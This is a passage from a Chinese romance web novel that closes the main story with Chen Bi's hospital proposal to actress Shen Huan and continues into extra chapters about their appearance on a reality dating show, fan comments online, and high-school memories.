陈璧定定望着她,此刻她眉眼弯弯,宛若一只狡黠的小狐狸,总会在他面前露出最为鲜活生动的神态。
他无比庆幸,他还有资格拥抱独一无二的沈欢。
“……好。”过了半晌,他才缓慢而坚定地说。
她凑上来主动亲他,微凉唇瓣轻轻抚过他的唇角,如同蜻蜓点水般的举动,却可以在他心底掀起滔天大浪。
陈璧没有回应她的亲吻,整个人僵直在原地,连指尖都紧张得微微发抖。
“你今天是木头变的吗?”沈欢不满嘟嘴,拉开距离小声抱怨。
好不容易主动一次,他怎么是这个反应啊,瞬间显得自己的吻技很差劲。
没想到下一刻,她眼睁睁看着面前男人从椅子上站起来,深吸一口气,随后单膝下跪。
看着他虔诚而认真的表情,她隐约猜到他想要干什么,呼吸顿时一停,目不转睛地盯着他。
猜测在陈璧从西装口袋里变出戒指盒时变为确凿现实。
她的脑海里一片空白,唯一蹦出来的念头居然是:他的西装口袋不会真是叮当猫的百宝箱吧……
“欢欢,”他轻声叫她,唤回她游离的思绪,“我承认,我在爱情里从不是一个正人君子,甚至很卑劣。”
“你应该清楚,你的联姻对象本来不是我,可我不想看着你嫁给别人,我希望和你拥有以后,所以我用了一些手段,抢走了这段婚约。”
“从前年少时,我对不起你,现在依然对不起你。”
“为了将你绑在我身边,满足我的私欲,我跳过一切前置步骤和你结婚同居,仔细算下来,我欠你一次认真的求婚、一场盛大的婚礼、一段温馨的蜜月旅行,还有很多场约会。”
“我想尽力做出弥补,先在今天补上该有的求婚。”
陈璧从未如此紧张过,他颤抖着手指,掀开红丝绒戒指盒,露出两枚挨在一起的钻戒,在阳光下熠熠生辉。
沈欢坐在床边,垂眸看向戒指,听见他一字一顿,笨拙却诚挚地表达自己的心意:
“欢欢,我爱你,如果没有婚约,没有联姻,你愿意再一次选择我吗?”
病房里一片寂静,陈璧半晌没有得到回应,心不由得提到嗓子眼,小心翼翼地抬眸看她,却发现不知何时,她已然泪流满面。
他一时更为慌张,不知是哪句话没说对,惹哭了她,想要起身替她抹去泪珠。
可沈欢却率先对着他伸出左手,即使泪眼朦胧也要哽咽着回答:“我愿意。”
陈璧只好继续保持跪姿,努力维持镇静,他从盒中拿出钻戒,从她的无名指指尖轻轻推上指根,恰好桎梏于此,护他的女孩一世无虞。
沈欢莫名感到一种奇妙的熟悉感,她抬起手指凑近细看,才发现戒圈上有着经久的刻痕。
“这是……当年你送我的那枚戒指吗?”她清清嗓子,不可置信地问。
明明这枚素圈已经在分手时的激烈争吵中,被她赌气扔进花坛里消
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失不见,此刻却镶上闪耀钻石,重新华丽地出现在她面前。
陈璧点点头,眸光透着似水温柔:“是,我捡回了它。”
“欢欢,关于你的一切,我都不想轻易舍弃。”
那天夜里,他打着手电筒,仔仔细细翻遍那片草丛里的每一寸土地,才从砖缝里找到它。
他也因此坚信,总有一天他也会找回她。
沈欢鼻尖一酸,又想落泪了。
她忍住泪光,抬起颤抖的手,将男戒虔诚戴上陈璧的无名指,不再有半分犹豫。
窗帘荡漾起微风的形状,他们互相凝视,满心满眼只有彼此,双手交握,戒指仿佛能够连通血管心脏,从今以后再无一丝嫌隙。
沈欢不愿他继续跪着,使了点劲,将他拽起来。
陈璧顺势坐在她身边,两人腿碰着腿,肩挨着肩,头抵着头,恨不得一直黏黏糊糊待下去,密不可分。
可惜,一声消息提示音将他们拉回现实世界,沈欢恍然回神,匆匆拿起摆在床头柜上的手机。
是来自李姐的提醒:“十分钟后,转发恋综官宣微博。”
十分钟以后,《恋爱之旅进行时》官方微博突然发布一则公告。
【恋爱之旅进行时:#下期预告#新的一期节目,我们将前往Q市,在冬季体验海边凛冽寒风,毕竟导演说,经历风吹雨打的爱情才会更坚固,在此提前揭晓两位飞行嘉宾@演员沈欢@陈璧,欢迎他们加入这场奇妙的恋爱之旅!】
紧接着,沈欢和陈璧同时转发了这条微博,并配文:“期待在冬季和大家相遇,感谢命运安排,与你携手同行,便是人间最好光景。”
公告一出,微博上的网友纷纷炸开了锅,一时间粉粉黑黑、吃瓜群众都凑了上来,平台出现显著卡顿,随后服务器因在线人数过多而产生崩溃。
沈欢转发完微博,就关掉手机,在此刻宁静时光里,她不想去管网络上的是是非非。
她低下头扣弄戒指,不好意思地小声嘀咕:“你能再说一遍吗?”
“什么?”陈璧明知故问。
她抬头,飞快瞥了他一眼,眸子亮晶晶的:“就是……”
她支支吾吾半天也说不出来,憋得面颊微红,倒是恢复了几分血色。
“哎呀,你知道的!”沈欢拖着尾音撒娇,像一把小钩子轻轻拉扯着男人的心脏。
陈璧胸腔震动,发出轻笑声,再也舍不得逗她。
他将她圈在怀里,细细密密的吻如雨点般落在她耳后,带来一阵酥痒:“欢欢,我叫陈璧。”
“璧是哪个字?”她下意识接话。
“白璧追欢的璧。”他强忍着羞耻,如是道。
话音刚落,沈欢忍不住莞尔,将曾经吐槽的话当面说出:“哼,死装文青男。”
陈璧纵容她胡言乱语,提出请求:“欢欢,那你能不能说一下那个。”
“哪个?”她学着他的样子装傻充愣。
他叼着她的耳垂细细碾磨,她根本抵挡不住这等攻势,一下子软了身子,呜咽着推他:“我说,我说还不行吗?你先松口。”
陈璧这才满意地退开一点。
沈欢清清嗓子,认真道:“我爱你,陈璧,不管你贫穷还是富贵,我都爱你。”
陈璧伸出手指竖在她嘴边,目光温柔而坚定:“我只需要听见前三个字,就足够了。”
沈欢一脸诚恳:“没事的,就算你破产了我也愿意养你。”
“那就谢谢老婆了。”陈·小白脸·璧厚着脸皮应下。
(正文完)
28. 番外一
《恋爱之旅进行时》公告一出,评论区顿时盖起高楼。
【欢乐颂:什么?欢欢居然接了恋综?谁来告诉我这到底是不是真的!】
【沈欢后援会会长:早就猜到有情况,现在终于知道那个神秘男人是谁了,我摸去他微博看了一眼,认证是霍氏集团总裁,很好,至少宝贝女儿嫁入豪门了……】
【咖啡不加糖:我去,霍氏集团?来头这么大,那恭喜沈欢以后可以在娱乐圈里横着走了。】
【岁月静好:切,你们蒸煮没准攀上了一个老头子,能在这种大集团里坐到总裁位置,肯定四五十岁了,还好意思上恋综丢人?】
【蛋堡八爪鱼:楼上,你的酸味快要溢出屏幕了,你难道不知道霍氏集团目前的掌权人是霍建山的儿子吗?据小道消息说,不仅年少有为,还长得惊为天人!】
【欢乐颂:真的假的?我们粉丝做梦都不敢这样想,你哪来的小道消息?】
【蛋堡八爪鱼:你少管,反正等节目播出就知道了。】
【岁月静好:哼,现在吹得起劲,那就走着瞧,我等着看你们蒸煮翻车丢人!】
有争吵就代表有话题度,恋综平白收获泼天流量,导演乐得合不拢嘴,打心底感谢沈欢为节目组省下一笔宣发费用。
沈欢出院后,回到剧组配合补拍镜头,在化妆间门口撞见汪佩佩。
她目光躲闪:“沈姐……”
“如果你是来给左锦说情的,那还是省点力气吧。”沈欢面色淡淡,毫不留情道。
“我不是为了他来的!”汪佩佩抬头,语速急迫,想要留住她,“我想……”
沈欢果然停下脚步,侧身看她。
“我想给你说一声对不起。”汪佩佩咬牙,从齿缝里挤出这句话,瞬间涨红了脸。
她曾经因为嫉妒滋生敌意,暗戳戳使绊子,可沈欢从未刻意报复回来,这次在热搜上看见左锦干出的龌龊事,她才幡然醒悟,明白自己所爱非人。
“没关系,我接受你的道歉。”沈欢露出恬淡笑容,仿佛有一种魔力,可以轻易抚平她心底的懊恼与愧疚。
汪佩佩如释重负般放松下来,朝她鞠了个躬,便匆匆跑走。
望着她的身影彻底消失在走廊尽处,沈欢失笑摇头,推开化妆间的门。
补拍工作井然有序地进行。
忙碌到一月底,冬意盎然,沈欢才补拍完同男二的对手戏,夜幕低垂,她刚与剧组众人告别,又马不停蹄赶回位于市中心的家。
一想到“家”这个字,她的心中漫起暖意,前所未有的酸胀感袭遍全身,有一扇窗永远为她亮着灯,有一处港湾可以包容所有疲惫与烦恼。
推开家门,沈欢一眼就看见陈璧,他正坐在沙发上,戴着耳机沉浸式办公,似乎根本没有察觉到她。
她玩心顿起,蹑手蹑脚地走过去,从背后伸出手迅速捂住他的眼睛,故意压低声音:“猜猜我是谁?”
“欢欢。”陈璧淡定自若,毫不犹豫道。
“恭喜你答对了!”沈欢笑得神采飞扬,松开手向下滑,一把搂住他的脖颈。
紧接着,她视线下移,从放置在陈璧膝头的电脑屏幕上,看见了面容严肃的霍建山。
她在心底发出土拨鼠尖叫,迅速撤回手,露出尴尬又不失礼貌的微笑:“爸,晚上好。”
陈璧取下耳机,霍建山的声音便响起来:“沈欢啊,等工作忙完了,有空来霍家宅子陪我们老两口喝喝茶。”
“好的。”沈欢规规矩矩站好,保持微笑面向镜头。
简单寒暄几句,她就找了个理由撤离客厅,一个人躲回卧室里。
没一会儿,陈璧也推开门进来:“吓到你了?”
沈欢刚洗完澡,换上柔软睡衣,面色被热气蒸腾,泛着淡粉,正坐在床边擦拭湿发。
闻言,她抬头瞥了他一眼:“没有,就是有点太尴尬了。”
许久没见,刚想腻歪一下,却被长辈撞个正着,她简直想找条地缝钻进去得了。
陈璧接过干发巾,一点点拭掉水珠,又拿出吹风机替她慢慢吹干长发,指尖不经意间拂过头皮,带来一阵酥麻。
沈欢打了个哆嗦,后知后觉气氛变得暧昧起来。
“明天综艺就开拍了……”她弱弱提醒。
陈璧确认发丝不再潮湿,放下吹风机,看了眼时间,才晚上七点。
“但现在时间还早,”他唇角轻勾,俯下身凑近她,蛊惑道,“欢欢,我想……你,可以吗?”
沈欢听不得这种话,耳根子刹那烧红,支支吾吾不敢看他,试图当一只缩头乌龟。
可陈璧不会轻易放过她,见她不言,伸手将凌乱发丝拨到她的耳后,微凉薄唇一点点描摹妍丽的眉眼,随后缓缓下移,得寸进尺含上这抹嫣红玫瑰,细细品味每朵花瓣。
呼吸交融,湿热传递,唇舌在此刻成为他表达思念的最好工具,沈欢乖乖阖眸,睫羽颤抖,摒弃羞耻努力迎合,主动探出双臂环上他的脖颈,加深这个吻。
最后的最后,时隔多年,她重新感受到了他炙热的爱意。
…………
待到海浪平息,沈欢已经累得连指尖都抬不起来,懒洋洋窝在陈璧怀里,任由他抱去浴室。
陈璧一脸餍足,凑到她面前亲昵,像一只求表扬的大型犬:“欢欢,我爱你。”
“我知道了。”
原本的睡衣已经完全不能看了,沈欢穿了件新睡裙,恹恹打了个哈欠,一抬头就看见镜子中的自己,不禁怔神。
眼尾潮红,嘴唇微肿,锁骨下隐隐显出梅花痕迹。
……这还是她吗?
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她忍不住瞪了罪魁祸首一眼,却不知道落在陈璧眸中是一幅多么漂亮的画面,眉梢眼角都荡漾着春情,轻易便让他产生意动。
“别这样看我,我会犯罪的。”陈璧俯身,缱绻的吻印在她眼皮上。
沈欢涨红脸推开他,像一条滑不溜手的鲤鱼,从他臂弯下逃走。
她躺进新换的被窝里,在心底狠狠谴责这位色胚。
身旁床榻轻陷,熟悉的草木气息包围住她,是陈璧搂她入怀,用微凉手帕敷在她的眼皮上,声音温柔:“睡吧,明天还要拍综艺。”
现在想起来综艺这茬了?刚才任她怎么哭饶都不肯停下来的时候干嘛去了?
她闭上眼享受他的细致服务,气哼哼想。
翌日清晨,阳光自窗帘缝隙透入,照在沈欢侧脸,她慢悠悠睁开眼,对上陈璧含着笑意的眸:“醒了?”
他已然穿戴整齐,吓得她慌里慌张掀开被子爬起来:“我睡迟了吗?”
“没有,慢慢来,节目组还没到。”陈璧把卧室空间留给她,将收拾好的两个行李箱拖到客厅,靠墙放好。
沈欢这才长舒一口气,换好衣服下床洗漱。
今天要上镜,她随手化了淡妆,显得五官更加立体,长发编成辫子垂在肩侧,仿佛刚出校园的大学生。
一切收拾妥当,她走出卧室,就听见敲门声,估摸着是工作人员来了,她走过去拉开门,迎接摄像老师。
“拍摄已经开始。”胖胖的摄像老师扛着摄影机,笑眯眯提醒。
沈欢在死角比了个“OK”手势,对着镜头打招呼。
陈璧恰好端着早饭走出厨房,摄像老师眼睛一亮,立刻围上去对着他一顿拍,三百六十度无死角。
餐盘落在桌面,发出一声轻响,他抬眼瞥过镜头,气势凌人,摄像老师心头一凉,下意识后退半步,可当男人视线落在沈欢身上时,瞬间变成绕指柔,判若两人。
沈欢快步上前帮忙搭把手,一眼看出陈璧今日做了不止两人份的早餐。
“大家赶过来辛苦了,坐下来一起吃顿早饭吧。”她笑着热情邀请。
几位工作人员恰好饥肠辘辘,又推辞不过,于是众人落座,热热闹闹吃完美味早餐,对陈璧的厨艺赞不绝口。
驻扎在Q市的摄像组耳听八方,听说他们在飞行嘉宾家里吃饱喝足才赶往机场,纷纷表示羡慕。
飞机落地Q市,沈欢刚出机场就被一阵寒风袭击,顿时老实,瑟瑟发抖拉上羽绒服拉链,幸好来之前她就知道这里很冷,机智地带了许多厚衣服。
陈璧见状,默默伸手揽住她的肩,侧身挡住呼啸而过的风。
有专车前来接上他们,同固定嘉宾汇合。
汽车在一栋海边小民宿门口停下,沈欢率先跳下车,好奇打量眼前景色。
29. 番外二
民宿门前就是一片细腻雪白的沙滩,不远处,湛蓝海天仿佛连成一片,浪花轻柔地拍打着沙滩,传来规律声响,令人心变得平静下来。
没待沈欢多看两眼,民宿大门敞开,几位常驻嘉宾走出来,热情招呼:“欢迎你们一同加入《恋爱之旅进行时》的大家庭!”
沈欢目光匆匆扫过众人,都是娱乐圈里知名度较高的夫妻情侣。
她扬起笑脸回应:“谢谢大家,这几天请多多关照!”
万虹玉领着他们往里走,她是某卫视著名主持人,说话进退得宜,在这档节目里观众缘最好:“我们都好奇飞行嘉宾究竟是谁,却没想到居然是你。”
“万老师,很震惊吗?”沈欢俏皮询问。
“挺震惊的,大家都知道你不喜欢沾染绯闻,这几年里,好奇你的感情生活的人只多不少,却没想到你会主动公开恋情。”
万虹玉瞥了眼缀在身后默默拖行李箱的男人,笑眯眯八卦:“原来是这么优秀的男人,让你动了凡心。”
沈欢面对他人的调侃还不甚适应,抿唇害羞:“缘分到了而已。”
“确实,缘分二字妙不可言,我也是过来人。”万虹玉拿自己开玩笑,轻易缓解了她的紧张。
沈欢知道万虹玉说的“过来人”是什么意思,她与小八岁的歌手颜嘉官宣恋情时,也震惊了无数网友。
民宿内部装修温馨大气,一楼房间是留给飞行嘉宾的。
万虹玉将他们带到房间门口:“这是你们的房间,床单都是新换的,先休整一下,下午三点再出发去旅游景点。”
“谢谢万老师。”沈欢嘴甜,哄得她心花怒放。
两人推着行李箱进入房间,陈璧开始收拾衣物,沈欢站在窗前,一把拉开窗帘,阳光瞬间照耀进来,在寒冷冬天带来一丝暖意。
一楼的视野不够好,映入眼帘的是院子里栽种的树丛,枝头叶子飘黄,颇带萧瑟之意。
她极目远眺,才从墙沿之上依稀看见一片湛蓝,是海洋的轮廓。
能看见海,也算是海景房了。
沈欢满意点头,扭身打开行李箱,将化妆品之类的零碎物品归置整齐。
忙活完,两人睡了个午觉,醒来发现快到三点,匆匆收拾整齐赶到院子里集合。
小巴车已经停在门口,沈欢登上车,就看见万虹玉和她的小男友颜嘉坐在中间一排,正靠在一起聊天。
她环顾一圈,没看见另一对嘉宾。
“先挑座位坐吧,南青说他和池溪会迟到一会儿。”万虹玉仿佛看出她的疑惑,贴心解释道。
沈欢闻言,拉着陈璧的手坐在万虹玉身后,对接下来的旅行有些期待。
过了一阵,池溪气喘吁吁跑上车,不好意思地道歉:“对不起啊,我来迟了。”
她身后跟着一脸不乐意的南青,正双手插兜絮絮叨叨些什么,余光瞥见镜头才闭上嘴,只是面色依旧臭臭的。
沈欢暗中观察这一切,和陈璧交换了一个眼神。
南青是当红男团的Rapper,相貌较为锋利,听说脾气也偏暴躁,现在看来或许是真的。
池溪和沈欢一样,都是演员,只不过她身材娇小,长相可爱,更擅长演青春校园剧的女主。
两人坐在沈欢和陈璧这一排,相隔一条过道。
沈欢扬起笑脸打招呼,池溪匆匆回应以后,就开始低声同南青说话,南青却把脸扭向窗外,生气似的不肯看她。
沈欢收回好奇目光,暗暗咂舌,原来金童玉女也有吵架的时候。
她不动声色地瞥了眼陈璧,心想如果以后他非要和她吵架的话,她该如何应对。
陈璧接收到视线,以为她渴了,从包里拿出一瓶水递给她。
“我不要水。”沈欢冷漠推开。
“那吃不吃薯片?”陈璧继续翻找背包。
“……要吃。”零食瞬间勾走了她的思绪,她接过薯片,给其他嘉宾分了一圈,才开始吃起来。
陈璧含笑看她,吃东西的时候腮帮子一动一动的,真像一只仓鼠。
车子出发了,在路上行驶晃悠,沈欢坐在窗边,头抵着玻璃,睁大眼睛观看这座海边城市。
“好想看海。”她小声念叨。
那次受伤留下的疤痕已然消失不见,但陈璧仍然害怕路上颠簸磕到她的头,温柔而强硬地掰过她的肩:“乖,坐好。”
沈欢不满睨他,他顺手递来一只耳机安抚:“要不要听歌?”
沈欢接过,耳机里正在播放陈奕迅的粤语歌,缱绻多情。
“问到何时葡萄先熟透,你要静候再静候。”
有线耳机成为他们之间的纽带,连接起点滴青春回忆。
高中晚自习大课间,同学们会约着朋友一起去操场散步,漫无目的地谈天说地,借此来缓解学习压力。
沈欢悄悄带了一个MP4来学校,里面存了一堆花里胡哨的情歌。
她想趁晚自习大课间约他出来散步,一边听歌一边表白,成功率总会高些吧?
没想到事情进展得非常顺利,人约出来了,歌也听上了。
两人走在操场上,昏黄路灯下,一条白色有线耳机勾连其间,也勾出她的少女心思。
陈奕迅的歌声在耳畔响起,柔情似水。
她内心激动万分,想趁夜色掩映下,鼓起勇气表明心意。
却听见陈璧漠然道:“我不喜欢听粤语歌。”
刚鼓起的勇气像膨胀的气球,被尖锐的话语轻轻一刺,就破了。
更糟糕的是,强光手电筒猛然打在他们脸上:“你们两个真是大胆,居然敢早恋!”
沈欢没料到这种场面,顿时手足无措,不知从何反驳,却没想到陈璧的衣袖捂在她脸上,遮住刺眼强光。
她缩在他的怀里,听见少年语气强硬:“请把手电筒关掉,还有,我们没有早恋。”
两人连带着违规电子产品MP4被巡逻老师无情抓去学生处。
学生处主任听说抓到早恋同学了,立刻来了精神,地中海老头想了一肚子教育的话,却在看见来人时面色扭曲,感觉天塌了。
怎么抓到的是年级第一和年级第二啊?!
沈欢想到那个惨遭没收的MP4,就忍不住勾起唇角,故意抬头问他:“你不是不喜欢听粤语歌吗?”
“我后悔了,其实你喜欢的我都喜欢。”陈璧温声说,眸中泛起斑斓笑意。
其实当初,他只是想让她知难而退,他很清楚他
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们之间的现实差距,明白自己配不上她,理智占据上风,想要及时止损,不能越陷越深。
可即使这样努力劝导自己,表现冷漠无情,他还是忍不住关心起她的一颦一笑,那一刻,他心知自己早已沦陷。
高中那两年里,沈欢像个活力十足的小太阳,朝他走了九十九步。
没有人会不喜欢这样的人,陈璧也是。
他一边拒绝她热情的表白示好,一边一遍遍在内心拷问自己,真的没有机会和她在一起吗?
终于,这道枷锁在高中毕业的聚会上彻底破碎,他舍不得看到她失落苦闷,借酒消愁,鼓起勇气向她迈出一步。
会所斑斓灯光下,他罕见露出清亮笑容,斟酌着问:“你说喜欢我,还算数吗?”
没想到沈欢只是愣了片刻,便在众人起哄声中义无反顾点头。
从那以后,就注定他们要纠缠一辈子。
沈欢很享受这种宁静氛围,车辆颠簸,她轻轻靠在陈璧肩膀上,被熟悉的草木气息包裹,听着动人旋律,恨不得时间在此刻暂停。
旅行的第一站,是栈桥。
嘉宾们一下车,就被咸湿的海风吹得险些栽跟头。
沈欢躲在陈璧怀里,被他宽大的风衣外套裹着,才觉得好受些。
南青似乎被池溪哄好了,此刻搂着女友朝节目组抱怨:“导演说得没错,这真是来经历风吹雨打的。”
摄像大哥尴尬打哈哈。
一月底正是海鸥巡回的时节,沈欢走到栈桥边,就看见红嘴鸥扑扇着翅膀飞过来,小眼睛好奇地盯着她瞧。
她还没说话,陈璧就拎着一袋面包走过来了。
“你怎么知道我想喂海鸥?”沈欢接过一片面包,扯成小块放在手心,数只海鸥便激动地飞过来,火速叼走面包渣,只余下翅膀扇起的风。
午睡起来,她没有编辫子,微卷长发披散在肩头,海风一吹,她的发丝就在阳光下舞动,勾勒出好看的弧度。
落在陈璧眸中,是最美的风景。
喂完海鸥,他们就收到导演布置的任务:“在栈桥寻找留着白胡子的神秘接头人员,对他说出芝麻开门,才能获得前往下一个景点的交通工具,最后一组找到的,需要负责明日民宿卫生打扫。”
沈欢拍拍手,和陈璧对视一眼:“我不想当最后一名。”
“我也是。”他应和道。
“那就出发吧!gogogo!”沈欢活力十足地喊,拽着陈璧的手开始四处寻找。
她看到坐在路边长椅休息的老爷爷,蓄着白胡子,于是大胆走上前:“芝麻开门?”
得到的只有老爷爷疑惑的表情:“你在说什么?”
她连连道歉,面色微红:“对不起,认错人了。”
沈欢藏在陈璧身后,推搡他向前走:“下次你去说。”
“好。”陈璧宠溺道。
跟拍人员好心提醒:“分头寻找效率更高哦,其他两组嘉宾都已经分头行动了。”
两人对视一眼,异口同声道:“不要。”
“恭喜你们通过一次考验,获得线索二:雨伞。”跟拍人员露出神秘微笑,深藏功与名。
沈欢震惊:“考验是见缝插针进行的吗?”
30. 番外三
跟拍人员却闭口不言,不肯暴露更多信息。
他们只好凑在一起琢磨这条新线索,陈璧突然想起什么:“我买面包的地方,有一个卖雨伞的摊子,要不要去那里看看?”
沈欢眼睛一亮,兴冲冲拉着陈璧跑回栈桥边。
海鸥们依旧在这里盘旋,叫声嘹亮。
她视线一扫,就看见卖雨伞的小摊毗邻着鸟食摊,但没有看见摊主。
沈欢直觉一定有猫腻,走上前细瞧,一张纸条映入眼帘。
“恭喜你们已经成功发现神秘接头人的摊位,接下来请接受情侣默契大拷问,回答正确三次即通关。”
工作人员迅速上前,递来两块小白板和记号笔:“温馨提示,不许偷偷交流对答案哦。”
沈欢捧着小白板,与陈璧对视一眼,她心底有些打鼓,不知道能不能顺利过关。
“第一个问题,对方和自己最喜欢的爱好是什么?”
沈欢思考片刻,写下两个词:“赚钱,演戏。”
他们在工作人员的指挥下同时转过白板,待看清对方的答案时,面面相觑。
陈璧赫然写着“打游戏,赚钱”。
男人疑惑眨眼:“你不是喜欢玩Switch吗?”
沈欢面色微红,瞪他一眼,在节目上不说点正经的,怎么暴露了她的游戏瘾?
“我写对了他的爱好,能不能算做对了半道?”她追着工作人员讲价还价。
“不行,算回答错误。”工作人员残忍宣布。
“第二题,第一次见面时,对方和自己穿着什么衣服?”
沈欢立刻来了精神,这不是送分题吗?
她下笔如有神:“都穿着校服!”
大大的感叹号表达她的激动。
两块白板掀开,一模一样的答案出现在众人面前,工作人员笑着恭喜:“回答正确。”
“原来你们学生时代就认识了?”工作人员在导演的授意下继续追问,“可以讲讲吗?”
沈欢瞥了陈璧一眼,清清嗓子简略道:“就是高中同学日久生情啦,没什么稀奇的……”
“不对,是一见钟情,”陈璧出声反驳,“其实那次在光荣榜下遇见你,我就已经喜欢你了。”
只是那时的他只会伪装冷漠,连心动都不敢声张。
沈欢愣神,她一直以为陈璧后来答应和她在一起,是因为日久生情。
“那我高中时候追你那么久算什么?算我一天天没事干闲得慌吗?”她气鼓鼓伸手,戳他胸口质问。
陈璧歉意低头:“算我是个胆小鬼,对不起。”
“对不起有用吗?”她才不轻易接受道歉,娇气扭头。
“那现在换我来追你好吗?”他一脸认真。
“真的?”沈欢眼眸微亮。
“嗯,真的。”
导演在中控室听他们碎碎念吵架,透露出的信息量越来越大,眼睛也越来越亮,这段剪成预告放出去,收视率根本不用愁了。
这对飞行嘉宾真是请到宝了。
默契考验继续进行,两人磕磕绊绊还是回答正确了三个问题。
“神秘接头人正在赶来的路上,请二位稍作等待。”工作人员一脸高深莫测。
斜刺里蹿出来一道胖胖的身影,沈欢定睛一看,原来神秘接头人是一个留着白胡子的玩偶。
玩偶朝他们摇摇晃晃走过来,故意压低嗓音:“猜猜我是谁?”
“……蕊蕊?”沈欢不确定道。
“猜对啦。”崔蕊取下玩偶头套,露出熟悉的脸,写满了兴奋。
她震惊地看着对方,小声问:“你怎么来了?”
“正好在Q市玩,就来客串一下,”崔蕊笑眯眯解释,“怎么样,惊不惊喜?”
沈欢猛猛点头,眸子亮晶晶。
“恭喜你们,是第一组完成任务的情侣,请骑上这辆象征着爱情的自行车,前往Q市著名的粉色教堂吧。”
崔蕊挥挥手,带来了属于他们的交通工具——一辆老旧的二八大杠。
介绍词很美,但沈欢深刻怀疑这辆二八大杠会在半路散架,将他们两个摔成一团。
“做旧工艺,这是最近流行懂不懂啊。”崔蕊尴尬一笑,替节目组挽尊。
才不是经费不够用了。
陈璧非常行动派,已经帅气地蹬上自行车,拨弄车铃,叮铃作响,再骑一圈试验功能,似乎并没有散架的迹象。
沈欢这才放心地坐上后座,手悄悄揪住他的风衣衣摆。
她的手被男人轻柔握住,塞进风衣口袋里:“外面冷,这里暖和。”
确实很暖和,沈欢下意识摩挲,感受到掌心下分明的腹肌轻轻绷紧,立刻老实收敛动作。
“坐稳了,准备出发。”陈璧轻声预告,脚下发力,自行车便如离弦的老箭,慢悠悠动起来。
速度不急不缓,连带着路上的风也温柔。
沈欢的手插在他的衣兜里,借势搂住他的腰,脸贴在后背上,全然依赖的姿态。
温暖弥漫全身,她的心脏仿佛泡在蜜水里,变得柔软悸动。
路上没有设置跟拍,他们现在是自由的。
“高中时我还幻想过你骑自行车送我回家。”沈欢迎着风喊。
“可惜别墅区安保很好,我只能在外面看着你一个人走进去。”陈璧轻笑着回答。
沈欢故意使坏刁难:“那我非要你陪我进去呢?”
“那我就说我是快递员,必须送货上门,”他思索片刻,苦恼道,“那撞见你爸妈,他们要把我赶出去怎么办?”
“我会告诉他们,你很好,我要和你永远在一起,”沈欢俏皮一笑,“然后我就可以和你一起滚出家门了。”
“那还是算了,我高中没时间去赚钱,咱们只能流落街头,比大学时过得更可怜。”陈璧戏谑道。
“不可怜,其实我那时候每天都很开心。”沈欢认真纠正。
他笑不出来了,声音闷闷散在风里:“可我舍不得让你过苦日子。”
她的脸在他后背蹭蹭:“好啦,别钻牛角尖,那些事都过去了。”
感受到她语气里的安抚,陈璧情绪稳定了些:“嗯,都过去了。”
说话间,道路尽头,教堂才露尖尖角,沈欢惊喜探头:“快看,圣弥厄尔大教堂!”
陈璧抬眸望去,忍不住呼吸一滞,夕阳恰好爬上粉色教堂,折射出好看的光晕,美轮美奂。
两人停好自行车,与节目组跟拍汇合,才开始新一轮观光。
晚霞映在天边,火烧似的红,染得他们面容绯色。
沈欢站在坡顶,笑眯眯朝他挥手:“陈璧,快给我拍两张照片!”
他拿出手机,小心翼翼调整角度,恰到好处将心爱的女孩和粉色教堂框在一起,仿佛能够把这一刻时光珍藏,留下深切纪念。
他们途经一家文创店,正在举行活动,沈欢好奇细瞧,原来是可以写明信片投入信箱,寄回家里,一两个月后才能收到。
“我们也去玩吧!”听起来很浪漫的样子,她立刻拽着陈璧加入。
两人各自领了一张明信片,沈欢小心警告:“不许乱看,自己写自己的。”
陈璧按捺住好奇心,认真落笔。
跟拍想凑上来拍明信片内容,却被两人共同挡回去。
她对着镜头笑得很甜:“这是个秘密,等以后有机会再揭晓。”
写好后装进信封,粘上邮票投入信箱里,大功告成。
走出文创店,天色渐沉,夜幕低垂,繁星点缀在空中,拥簇着一轮弯月。
教堂门前的广场响起一阵劲爆音乐,立刻吸引了沈欢的目光。
是一支乐队在进行街头表演。
歌曲旋律正嗨,气氛热烈,许多游人驻足聆听。
她刚凑过去,主唱的视线就落在她身上,她暗道不好,她只想观看表演,而不想成为表演的一环呀。
刚想转头逃跑,话筒却先一步伸到她面前:“可以邀请你
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上台唱一曲吗?”
有路人认出她,好奇地围过来观望。
跟拍在身后怂恿,沈欢盛情难却,只好接过话筒:“不上台了,我就清唱一段吧。”
她看了一眼陈璧,夜色朦胧间,他的面容被月光披上一层薄纱,黑眸却始终如一,总是炙热而专注地望着她,似乎再也容不下其他事物。
她几乎是瞬间想好了曲目,清清嗓子:“想唱一首《黑凤梨》,节目组记得买一下版权。”
“没问题!”跟拍积极传达导演的指令。
沈欢明明没有喝酒,却感觉自己早已醉在陈璧的眼睛里。
她鼓起勇气握住话筒:
“黑凤梨,那双眼动人,笑声更迷人。”
“愿再可,轻抚你。”
“那可爱面容,挽手说梦话。”
“像昨天,你共我。”
……
月光下,轻柔舒缓的歌声在教堂门口回响,仿佛《圣经》中的天神也能听见她真挚爱意。
一曲终了,人群中响起热烈掌声,夹杂着各路欢呼。
沈欢将话筒交还给主唱,后知后觉感到难为情,绯红着脸想要逃跑,却被陈璧搂着腰抱回来,护着她一同走出汹涌人潮。
“欢欢,歌很好听,我也喜欢你。”男人附在她耳边,认真阐述爱意。
人群拥挤,夜色无边,可沈欢的心却突然亮了。
综艺拍摄完毕,正式播出时,热度瞬间飙升,挂在热搜榜上掀起一阵讨论热潮。
【欢乐颂:谁能告诉我,明信片上到底写了什么!我现在抓耳挠腮想要知道,能不能给我个痛快?】
【蛋堡八爪鱼:@岁月静好,给我道歉,陈总是不是年轻英俊又多金?请问你脸疼不疼啊?】
【岁月静好:楼上,你烦不烦啊?追着我艾特了三天了,行了,我承认我脸被打得很疼,放过我吧,我再也不敢在网上乱说话了!】
【沈欢后援会会长:我承认陈总在恋爱方面确实有几把刷子,怪不得能勾走我女儿的魂,连海边烧烤都要先喂给她吃,赶海得到的战利品还要悄悄放进她空荡荡的桶里,生怕她因为逮不到螃蟹生气,啧啧啧,你就宠她吧。】
【咖啡不加糖:谁懂教堂门口那一场浪漫,妈呀陈总的眼珠子恨不得黏在沈欢身上了,这就是看爱人的模样吗?我真的羡慕了,请问这样的对象在哪里领?】
与此同时,沈欢和陈璧挤在沙发上,边吃水果边看新鲜出炉的综艺。
突然传来一声短促门铃,沈欢懒得动,陈璧起身查看,看见邮递员站在门口:“这有两封你们的信件,请查收。”
见到他去而复返,沈欢好奇:“什么东西?”
“我们在Q市写的明信片到了。”陈璧抬手摇摇信封,目光落在她的脸上,温柔缱绻。
她一愣,没想到居然这么巧,正好在综艺播出的时候送达。
